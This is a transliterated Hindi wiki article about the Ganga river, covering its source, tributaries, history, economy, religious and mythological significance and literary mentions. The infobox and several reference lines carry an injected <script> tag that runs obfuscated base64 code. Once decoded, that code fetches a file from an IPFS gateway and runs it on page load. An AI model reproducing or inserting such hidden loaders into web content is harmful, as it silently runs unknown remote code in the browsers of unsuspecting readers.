गंगा
ganga
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| desh | bharat, nepal aur baangladesh |
| rajy | himachal pradesh, uttarakhand, uttar pradesh, madhy pradesh, bihar aur pashchim bangal |
| pramukh nagar | haridvar, kannauj, kanapur, varanasi, bhagalapur aur murshidabad zila |
| udgam sthal | gangotri, uttarakhand |
| lambaee | 2,510 kimi |
| sahayak nadiyaan | yamuna, ramaganga, ghaghara, tapti, gandak, kosi adi |
| pauranik ullekh | brahmand puran ke anusar ganga ko vishnu ke paanv se evan shiv ke jatajoot mean avasthit mana gaya hai. |
| dharmik mahattv | bharat ki anek dharmik avadharanaoan mean ganga nadi ko devi ke roop mean nirupit kiya gaya hai. |
| aitihasik mahattv | aitihasik roop se ganga ke maidan se hi hindustan ka hriday sthal nirmit hai aur vahi bad mean ane vali vibhinn sabhyataoan ka palana bana. ashok ke samrajy ka kendr pataliputr (patana), bihar mean ganga ke tat par basa hua tha. |
| googal manachitr | ganga nadi |
| any janakari | bharatiy bhashaoan mean tatha adhikrit roop se ganga nadi ko aantarrashtriy star par isake aangrezikrit nam ‘d gaiangiz’ se hi jana jata hai. ganga sahasrabdiyoan se hinduoan ki pavitr tatha poojaniy nadi rahi hai. |
| adyatan | 15:52, 10 sitambar 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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ganga (aangrezi: Ganges) bharat ki sabase mahattvapoorn nadiyoan mean se ek hai. yah uttar bharat ke maidanoan ki vishal nadi hai. ganga, bharat aur baangladesh mean milakar 2,510 kilomitar ki doori tay karati huee uttaraanchal mean himalay se nikalakar bangal ki kha di mean bharat ke lagabhag ek-chauthaee bhoo-kshetr ko pravahit hoti hai. ganga nadi ko uttar bharat ki arthavyavastha ka merudand bhi kaha gaya hai.
namakaran
- REDIRECTsaancha:mukhy
bharatiy bhashaoan mean tatha adhikrit roop se ganga nadi ko aantarrashtriy star par isake aangrezikrit nam ‘d gaiangiz’ se hi jana jata hai. ganga sahasrabdiyoan se hinduoan ki pavitr tatha poojaniy nadi rahi hai. apane adhikaansh marg mean ganga ek chau di v mand dhara hai aur vishv ke sabase zyada upajaoo aur ghani abadi vale ilaqoan se hokar bahati hai. itane mahatv ke bavazood isaki lambaee 2,510 kilomitar hai, jo eshiya ya vishv star ki tulana mean koee bahut zyada nahian hai. bharat ki pavan nadi, jisaki jaladhara mean snan se papamukti aur jalapan se shuddhi hoti hai. yah prasiddh nadi, himachal pradesh mean gangotri se nikalakar madhyadesh se hoti huee pashchim bangal ke pare gangasagar mean milati hai. ganga ki ghati sansar ki urvaratam ghatiyoan mean se ek hai aur sarayoo, yamuna, son adi anek nadiyaan usase a milati haian.
visheshataean
- REDIRECTsaancha:mukhy
ganga ka udgam dakshini himalay mean tibbat sima ke bharatiy hisse se hota hai. isaki paanch arambhik dharaoan bhagirathi, alakananda, mandakini, dhauliganga tatha piandar ka udgam uttarakhand kshetr, jo uttar pradesh ka ek sanbhag tha (vartaman uttaraanchal rajy) mean hota hai. do pramukh dharaoan mean b di alakananda ka udgam himalay ke nanda devi shikhar se 48 kilomitar door tatha doosari bhagirathi ka udgam himalay ki gangotri namak himanad ke roop mean 3,050 mitar ki ooanchaee par barf ki gufa mean hota hai. gangotri hinduoan ka ek tirth sthan hai. vaise gangotri se 21 kilomitar dakshin-poorv sthit gomukh ko ganga ka vastavik udgam sthal mana jata hai. ganga nadi ki pradhan shakha bhagirathi hai, jo kumaooan mean himalay ke gomukh namak sthan par gangotri himanad se nikalati hai.[1] ganga ke is udgam sthal ki ooanchaee 3140 mitar hai. yahaan ganga ji ko samarpit ek mandir bhi hai. gangotri tirth, shahar se 19 kilomitar uttar ki or 3892 mitar (12,770 phit) ki ooanchaee par is himanad ka mukh hai.
bhaugolik vistar
- REDIRECTsaancha:mukhy
ganga ke besin mean is upamahadvip ki vishalatam nadi pranali sthit hai. yahaan jal ki apoorti mukhyat: julaee se aktoobar ke bich dakshin-pashchimi manasoon tatha aprॅl se joon ke bich grishm rritu ke dauran pighalane vali himalay ki barf se hoti hai. nadi ke besin mean manasoon ke un katibandhiy toofanoan se bhi varsha hoti hai, jo joon se aktoobar ke bich bangal ki kha di mean paida hote haian. disambar aur janavari mean bahut kam matra mean varsha hoti hai
[[chitr:Gaumukh-Gangotri-Glacier.jpg|thumb|250px|left|gangotri himanad mean gomukh
Gomukh in Gangotri Himnad|left]]
sahayak nadiyaan
- REDIRECTsaancha:mukhy
ganga mean uttar ki or se akar milane vali pramukh sahayak nadiyaan yamuna, ramaganga, karanali (ghaghara), tapti, gandak, kosi aur kakshi haian tatha dakshin ke pathar se akar isamean milane vali pramukh nadiyaan chanbal, son, betava, ken, dakshini tos adi haian. yamuna ganga ki sabase pramukh sahayak nadi hai jo himalay ki bandarapooanchh choti ke adhar par yamunotri himakhand se nikali hai. [2] himalay ke oopari bhag mean isamean toans[3] tatha bad mean laghu himalay mean ane par isamean giri aur asan nadiyaan milati haian. chambal, betava, sharada aur ken yamuna ki sahayak nadiyaan haian.
mahattv
- REDIRECTsaancha:mukhy
aitihasik roop se ganga ke maidan se hi hindustan ka hriday sthal nirmit hai aur vahi bad mean ane vali vibhinn sabhyataoan ka palana bana. ashok ke ee. poo. ke samrajy ka kendr pataliputr (patana), bihar mean ganga ke tat par basa hua tha. mahanh mugal samrajy ke kendr dilli aur agara bhi ganga ke besin ki pashchimi simaoan par sthit the. satavian sadi ke madhy mean kanapur ke uttar mean ganga tat par sthit kannauj, jisamean adhikaansh uttari bharat ata tha, harsh ke samantakalin samrajy ka kendr tha.
aitihasik mahattv
- REDIRECTsaancha:mukhy
aitihasik roop se ganga ke maidan se hi hindustan ka hriday sthal nirmit hai aur vahi bad mean ane vali vibhinn sabhyataoan ka palana bana. ashok ke ee. poo. ke samrajy ka kendr pataliputr (patana), bihar mean ganga ke tat par basa hua tha. mahanh mugal samrajy ke kendr dilli aur agara bhi ganga ke besin ki pashchimi simaoan par sthit the. satavian sadi ke madhy mean kanapur ke uttar mean ganga tat par sthit kannauj, jisamean adhikaansh uttari bharat ata tha, harsh ke samantakalin samrajy ka kendr tha. muslim kal ke dauran, yani 12vian sadi se musalamanoan ka shasan n keval maidan, balki bangal tak phaila hua tha. delta kshetr ke dhaka aur murshidabad muslim satta ke kendr the.
[[chitr:Ganga-Varanasi.jpg|thumb|250px|varanasi mean ganga nadi ke ghat
Ghats of Ganga River in Varanasi]]
arthik mahattv
- REDIRECTsaancha:mukhy
ganga apani upatyakaoan mean bharat aur baangladesh ke krishi adharit arth mean bhari sahayog to karati hi hai, yah apani sahayak nadiyoan sahit bahut b de kshetr ke lie sianchaee ke barahamasi srot bhi haian. in kshetroan mean ugaee jane vali pradhan upaj mean mukhyatah dhan, ganna, dal, tilahan, aloo evan gehooan haian. jo bharat ki krishi aj ka mahattvapoorn srot haian. ganga ke tatiy kshetroan mean daladal evan jhiloan ke karan yahaan legyoom, mirch, sarasoan, til, ganna aur joot ki achchhi fasal hoti hai. nadi mean matsy udyog bhi bahut zoroan par chalata hai.
dharmik mahattv
- REDIRECTsaancha:mukhy
bharat ki anek dharmik avadharanaoan mean ganga nadi ko devi ke roop mean nirupit kiya gaya hai. bahut se pavitr tirthasthal ganga nadi ke kinare par base huye haian jinamean varanasi aur haridvar sabase pramukh haian. ganga nadi ko bharat ki pavitr nadiyoan mean sabase pavitr mana jata hai evan yah manyata hai ki ganga mean snan karane se manushy ke sare papoan ka nash ho jata hai. marane ke bad log ganga mean apani rakh visarjit karana moksh prapti ke liye avashyak samajhate haian, yahaan tak ki kuchh log ganga ke kinare hi pran visarjan ya aantim sanskar ki ichchha bhi rakhate haian.
pauranik mahattv
- REDIRECTsaancha:mukhy
ganga nadi ke sath anek pauranik kathaean ju di huee haian. kuchh puranoan ne ganga ko mandakini ke roop mean svarg mean, ganga ke roop mean prithvi par aur bhogavati ke roop mean patal mean pravahit hote hue varnit kiya hai.[4] vishnu adi puranoan ne ganga ko vishnu ke bayean pair ke aangoothe ke nakh se pravahit mana hai.[5] kuchh puranoan mean aisa aya hai ki shiv ne apani jata se ganga ko sat dharaoan mean parivartit kar diya, jinamean tin (nalini, hladini evan pavani) poorv ki or, tin (sita, chakshus evan sindhu) pashchim ki or pravahit huee aur satavian dhara bhagirathi huee[6]. koorm puran[7]ka kathan hai ki ganga sarvapratham sita, alakananda, suchaksh evan bhadra namak char vibhinn dharaoan mean bahati hai. alakananda dakshin ki or bahati hai, bharatavarsh ki or ati hai aur saptamukhoan mean hokar samudr mean girati hai.[8]
sahityik ullekh
- REDIRECTsaancha:mukhy
bharat ki rashtr-nadi ganga jal hi nahian, apitu bharat aur hindi sahity ki manaviy chetana ko bhi pravahit karati hai.[9] rrigved, mahabharat, ramayan evan anek puranoan mean ganga ko puny salila, pap-nashini, moksh pradayini, saritshreshtha evan mahanadi kaha gaya hai. sanskrit kavi jagannath ray ne ganga ki stuti mean 'shrigangalahari'[10] namak kavy ki rachana ki hai. hindi ke adi mahakavy prithviraj raso[11] tatha visaladev ras[12]narapati nalh) mean ganga ka ullekh hai. adikal ka sarvadhik lok vishrut granth jaganik rachit alhakhand[13] mean ganga, yamuna aur sarasvati ka ullekh hai.
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vithika
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- chitr:Ganga-Sunrise.jpg
sooryoday ke samay ganga nadi
- chitr:Haridwar2.jpg
ganga nadi, haridvar
- chitr:Kachla-Ghat.jpg
ganga nadi, kachhala ghat
- chitr:Devprayag-Bhagirathi-River.jpg
alakananda aur bhagirathi ka sangam devaprayag, uttarakhand
- chitr:Ganga-Devi-Delhi-Crafts-Museum-2.jpg
ganga devi ka bhitti chitr, hast shilpakala sangrahalay, dilli
- chitr:Ganga-Devi-Delhi-Crafts-Museum.jpg
ganga devi ka bhitti chitr, hast shilpakala sangrahalay, dilli
- chitr:Ganga-National-Museum-Delhi.jpg
ganga devi pratima, rashtriy sangrahalay, dilli
- chitr:Ganga-1.jpg
- chitr:Ganga-2.jpg
ganga nadi, varanasi
- chitr:Ganga-4.jpg
ganga nadi ke ghat ka sundar drishy
- chitr:Ganga-5.jpg
ganga nadi ke ghat par shraddhalu snan karate hue
- chitr:Ganga-6.jpg
prat:kal ka sundar drishy, ganga nadi
- chitr:Ganga-7.jpg
- chitr:Ganga-8.jpg
ratri drishy, ganga nadi, varanasi
- chitr:Ganga-9.jpg
darabhanga ghat ganga nadi varanasi
- chitr:Ganga-10.jpg
ganga nadi ka sundar drishy varanasi
- chitr:Ganga-11.jpg
ganga nadi, varanasi
- chitr:Ganga-12.jpg
ahilyabaee ghat, ganga nadi, varanasi
- chitr:Ganga-13.jpg
munshi v darabhanga ghat, varanasi
- chitr:Ganga-14.jpg
nav mean ghoomate shraddhalu, ganga nadi, varanasi
- chitr:Ganga-17.jpg
manamohak drishy, ganga nadi, varanasi
- chitr:Ganga-15.jpg
nav mean ghoomate shraddhalu, ganga nadi, varanasi
bahari k diyaan
tika tippani aur sandarbh
- ↑ uttaraanchal-ek parichay (echatiem) tidiaeeel. abhigaman tithi: 28 aprॅl, 2008.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ bharat ke bare mean jano bharat sarakar. abhigaman tithi: 21 joon, 2009.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ uttarakhand ki pramukh nadiyaan iandiya vatar portal. abhigaman tithi: 21 joon, 2009.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ padm puran 6|267|47
- ↑ vamapadambujaangushthanakhasrotovinirgatamh. vishnorbabharti yaan bhaktya shirasahanianshan dhruv:.. vishnu puran (2|8|109); kalpataru (tirth, prishth 161) ne ‘shiv:’ pathantar diya hai. ‘nadi sa vaishnavi prokta vishnupadasamudabhava.’ padm puran (5|25|188).
- ↑ (matsy puran 121|38-41; brahmand puran 2|18|39-41 evan 1|3|65-66)
- ↑ (1|46|30-31) evan varah puran (adhyay 82, gady mean)
- ↑ tathaivalakananda ch dakshinadety bharatamh. prayati sagaran bhittva saptabheda dvijottam:.. koorm puran (1|46|31).
- ↑ hindi kavy mean ganga nadi abhivyakti. abhigaman tithi: 30 joon, 2009.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ ganga ki upasthiti sujalamh. abhigaman tithi: 22 joon, 2009.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ iando kian aandoliya ami e chakkivan ganga sire. .................etane charitr te gang tire
- ↑ ki re himali mahian giluan. ki tu jhanphaghadan gang-duvari...................bahin divaooan rai ki. thara byah karabuan gang ni pari
- ↑ pragaraj so tirath dhyavauan. jahan par gang matu laharay.. / ek or se jamuna aee. donoan milian bhuja phailay.. / sarasvati niche se nikali. tirabeni so tirth kahay..
sanbandhit lekh
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